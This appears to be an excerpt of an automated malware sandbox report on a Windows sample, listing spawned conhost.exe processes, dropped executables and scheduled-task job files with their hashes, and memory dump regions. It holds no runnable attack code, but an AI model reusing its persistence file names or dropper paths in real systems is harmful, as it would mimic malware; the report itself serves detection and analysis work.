                                                                              • C:\Windows\system32\conhost.exe
                                                                                \??\C:\Windows\system32\conhost.exe "1095366276869024868-2119681972349881035-336435787992728310-269971531-209500190"
                                                                                1⤵
                                                                                  PID:1312
                                                                                • C:\Windows\system32\conhost.exe
                                                                                  \??\C:\Windows\system32\conhost.exe "26851910118321128751620390806-231183534-1380072445658495179-2051987523-278575547"
                                                                                  1⤵
                                                                                    PID:1192
                                                                                  • C:\Windows\system32\conhost.exe
                                                                                    \??\C:\Windows\system32\conhost.exe "10156249691574749117-1327706937-1767920576-4564921895544616082065593783-2130926281"
                                                                                    1⤵
                                                                                      PID:2380
                                                                                    • C:\Windows\system32\conhost.exe
                                                                                      \??\C:\Windows\system32\conhost.exe "2011424703-619716270-2018466897649570822-1287893941-4863467951250057571036926201"
                                                                                      1⤵
                                                                                        PID:2912
                                                                                      • C:\Windows\system32\conhost.exe
                                                                                        \??\C:\Windows\system32\conhost.exe "-11064228651403314333130496686416597961862127259495-6133028641428023888-672822502"
                                                                                        1⤵
                                                                                          PID:2488
                                                                                        • C:\Windows\system32\conhost.exe
                                                                                          \??\C:\Windows\system32\conhost.exe "-97001561627071377994824058-287122401-2024840508-114485273211859219992114031039"
                                                                                          1⤵
                                                                                            PID:1724

                                                                                          Network

                                                                                          MITRE ATT&CK Enterprise v15

                                                                                          Replay Monitor

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                                                                                          Downloads

                                                                                          • C:\Users\Admin\AppData\Local\Temp\ergbuiluyfd.exe

                                                                                            Filesize

                                                                                            502KB

                                                                                            MD5

                                                                                            ea001f076677c9b0dd774ae670efdf63

                                                                                            SHA1

                                                                                            37a4466f3c38b60a30fc1073b9d0b2d2d0e692e5

                                                                                            SHA256

                                                                                            19fd26fa3f76141cc05ef0c0c96ea91dcf900e760b57195f216a113b1cf69100

                                                                                            SHA512

                                                                                            6d634f47c0901e18cb159732c0ca1e7e6c930d16b18d0daea717c252ec7ddd37e90745b69512313dbbdac9099059b6f7cbe07044a71b36231c027818810c8652

                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AUXU8PTGXJTT8TQ4QBG6.temp

                                                                                            Filesize

                                                                                            7KB

                                                                                            MD5

                                                                                            112918326bbfcf968dce29fb10c6e9f3

                                                                                            SHA1

                                                                                            afc3f0574fedf79c2431efa1792953a3bd64c623

                                                                                            SHA256

                                                                                            4203b7ca0563f08b7fc14ea0db1adeff7ec9652c0737af56051ca31f636ff545

                                                                                            SHA512

                                                                                            a3a414a999c41ba817d6f16da373f85165d54193734a38378bfa7d347f9063f22a86a787c40c6c99c5d2e05b8755f92930e52b6a537c721c7d1609f372ec80b2

                                                                                          • C:\Windows\Tasks\dialersvc32.job

                                                                                            Filesize

                                                                                            1KB

                                                                                            MD5

                                                                                            468a3efbeb430dea9c9319d258e62a43

                                                                                            SHA1

                                                                                            f1f168dcd319053b9939959fe625c0df523cb3de

                                                                                            SHA256

                                                                                            4ff65f03c93ab65a83516806d09bc47bf0dde8f38a112eee8185aaf846533836

                                                                                            SHA512

                                                                                            ed59fbcae9f1e8f155be11eb379a5c756cb442320a116006a9ce045a067f88ef41a566335f5cdb569f99b3e6a22b09e7bfd4e6449924749f6ab37bf692bc69cd

                                                                                          • C:\Windows\Tasks\dialersvc64.job

                                                                                            Filesize

                                                                                            1KB

                                                                                            MD5

                                                                                            852366aba34d23d447de037e7314468c

                                                                                            SHA1

                                                                                            f443471094c51e2a72475339c64eae02b28d8ad8

                                                                                            SHA256

                                                                                            299c704b02d4b39b4f253e90d8045ebfb999eadbbdd7e39e37fb81acf85d00b8

                                                                                            SHA512

                                                                                            c33f055e07a94059b42e2474b0c3b572d1213882184564039922038250c27b4222db2d9e674d6452e1fd18544731e7c12e0004683503e19ea001fd505b0e3f1d

                                                                                          • \Program Files\Cuis\bon\Bara.exe

                                                                                            Filesize

                                                                                            2.4MB

                                                                                            MD5

                                                                                            b70a5e7260b025e39b8016523a1f2d64

                                                                                            SHA1

                                                                                            aea86a6e4d9ba908d9e141a5d4166ba1e3b1b6a7

                                                                                            SHA256

                                                                                            fd7327848bb13a7a2919447c1818935482527bcc7de7da835b907826b7488490

                                                                                            SHA512

                                                                                            a0b63100553d8ae1bbc6471cc0b63499d82ff1503dc17f46cb1aee07a1332a053c485b74bbe7670638ff0d069496751f9326f9bbb6df96f794acb73969b182ca

                                                                                          • \Users\Admin\AppData\Local\Temp\doihdjpihrekpoh.exe

                                                                                            Filesize

                                                                                            2.7MB

                                                                                            MD5

                                                                                            952f360a4651f948be3a673178631641

                                                                                            SHA1

                                                                                            60e58b89cfce587aa121baf431d55cbbecd21545

                                                                                            SHA256

                                                                                            a92133787af66e6d68a301ef087e4116f5cab3f538d8ec5e5e0eb95cecc68ea8

                                                                                            SHA512

                                                                                            af346587c95ac9e120ce63d46b22992e3ab69702af602ea6d7a16c3dcf9d2f7f19903233646cef8153aa877f5773c486db504ea6534bcbc3b136bd07b62483d0

                                                                                          • \Users\Admin\AppData\Local\Temp\mklnsegsd.exe

                                                                                            Filesize

                                                                                            2.4MB

                                                                                            MD5

                                                                                            8e40252356a6fb3f8f52d1effa2c2c3c

                                                                                            SHA1

                                                                                            3bf5461b591a53dcb48ea2dc6535cd90aa786c4e

                                                                                            SHA256

                                                                                            de83dd82da3ebaa2c09fd75a7307ad5e2031ad8c911cd75753ffef3eb1571f0a

                                                                                            SHA512

                                                                                            c3286845aa20f9bf06bfbccb63c12a72ed223fc054881a66b643f55f81aa0df868c28199090cab6d37552b268615dc0605587a85f0d4ec6ee6d5ed25a5739a2a

                                                                                          • memory/420-91-0x000007FEBE080000-0x000007FEBE090000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/420-90-0x0000000000B00000-0x0000000000B2A000-memory.dmp

                                                                                            Filesize

                                                                                            168KB

                                                                                          • memory/420-92-0x00000000373C0000-0x00000000373D0000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/420-87-0x0000000000AD0000-0x0000000000AF3000-memory.dmp

                                                                                            Filesize

                                                                                            140KB

                                                                                          • memory/420-89-0x0000000000AD0000-0x0000000000AF3000-memory.dmp

                                                                                            Filesize

                                                                                            140KB

                                                                                          • memory/476-110-0x000007FEBE080000-0x000007FEBE090000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/476-111-0x00000000373C0000-0x00000000373D0000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/476-109-0x0000000000160000-0x000000000018A000-memory.dmp

                                                                                            Filesize

                                                                                            168KB

                                                                                          • memory/492-117-0x0000000000160000-0x000000000018A000-memory.dmp

                                                                                            Filesize

                                                                                            168KB

                                                                                          • memory/536-54-0x000000013FB80000-0x000000013FDE6000-memory.dmp

                                                                                            Filesize

                                                                                            2.4MB

                                                                                          • memory/536-37-0x000000013FB80000-0x000000013FDE6000-memory.dmp

                                                                                            Filesize

                                                                                            2.4MB

                                                                                          • memory/560-81-0x0000000140000000-0x0000000140042000-memory.dmp

                                                                                            Filesize

                                                                                            264KB

                                                                                          • memory/560-80-0x0000000140000000-0x0000000140042000-memory.dmp

                                                                                            Filesize

                                                                                            264KB

                                                                                          • memory/560-83-0x0000000077160000-0x000000007727F000-memory.dmp

                                                                                            Filesize

                                                                                            1.1MB

                                                                                          • memory/560-82-0x0000000077380000-0x0000000077529000-memory.dmp

                                                                                            Filesize

                                                                                            1.7MB

                                                                                          • memory/560-84-0x0000000140000000-0x0000000140042000-memory.dmp

                                                                                            Filesize

                                                                                            264KB

                                                                                          • memory/596-114-0x000007FEBE080000-0x000007FEBE090000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/596-112-0x0000000000280000-0x00000000002AA000-memory.dmp

                                                                                            Filesize

                                                                                            168KB

                                                                                          • memory/596-115-0x00000000373C0000-0x00000000373D0000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/672-123-0x00000000373C0000-0x00000000373D0000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/672-122-0x000007FEBE080000-0x000007FEBE090000-memory.dmp

                                                                                            Filesize

                                                                                            64KB

                                                                                          • memory/672-121-0x0000000000510000-0x000000000053A000-memory.dmp

                                                                                            Filesize

                                                                                            168KB

                                                                                          • memory/760-75-0x000000001A070000-0x000000001A352000-memory.dmp

                                                                                            Filesize

                                                                                            2.9MB

                                                                                          • memory/760-78-0x0000000077380000-0x0000000077529000-memory.dmp

                                                                                            Filesize

                                                                                            1.7MB

                                                                                          • memory/760-79-0x0000000077160000-0x000000007727F000-memory.dmp

                                                                                            Filesize

                                                                                            1.1MB

                                                                                          • memory/760-77-0x00000000013B0000-0x00000000013F0000-memory.dmp

                                                                                            Filesize

                                                                                            256KB

                                                                                          • memory/760-76-0x0000000000870000-0x0000000000878000-memory.dmp

                                                                                            Filesize

                                                                                            32KB

                                                                                          • memory/1036-42-0x000000001B720000-0x000000001BA02000-memory.dmp

                                                                                            Filesize

                                                                                            2.9MB

                                                                                          • memory/1036-43-0x0000000001F70000-0x0000000001F78000-memory.dmp

                                                                                            Filesize

                                                                                            32KB

                                                                                          • memory/1604-50-0x00000000020F0000-0x00000000020F8000-memory.dmp

                                                                                            Filesize

                                                                                            32KB

                                                                                          • memory/1604-49-0x000000001B590000-0x000000001B872000-memory.dmp

                                                                                            Filesize

                                                                                            2.9MB

                                                                                          • memory/1792-548-0x0000000000CA0000-0x0000000000CA8000-memory.dmp

                                                                                            Filesize

                                                                                            32KB

                                                                                          • memory/1792-547-0x0000000019AE0000-0x0000000019DC2000-memory.dmp

                                                                                            Filesize

                                                                                            2.9MB

                                                                                          • memory/1900-28-0x000007FEF5723000-0x000007FEF5724000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/1900-29-0x00000000013C0000-0x0000000001444000-memory.dmp

                                                                                            Filesize

                                                                                            528KB

                                                                                          • memory/1900-36-0x000007FEF5720000-0x000007FEF610C000-memory.dmp

                                                                                            Filesize

                                                                                            9.9MB

                                                                                          • memory/1900-30-0x000007FEF5720000-0x000007FEF610C000-memory.dmp

                                                                                            Filesize

                                                                                            9.9MB

                                                                                          • memory/2092-71-0x0000000140000000-0x0000000140056000-memory.dmp

                                                                                            Filesize

                                                                                            344KB

                                                                                          • memory/2768-35-0x0000000000F00000-0x0000000000F84000-memory.dmp

                                                                                            Filesize

                                                                                            528KB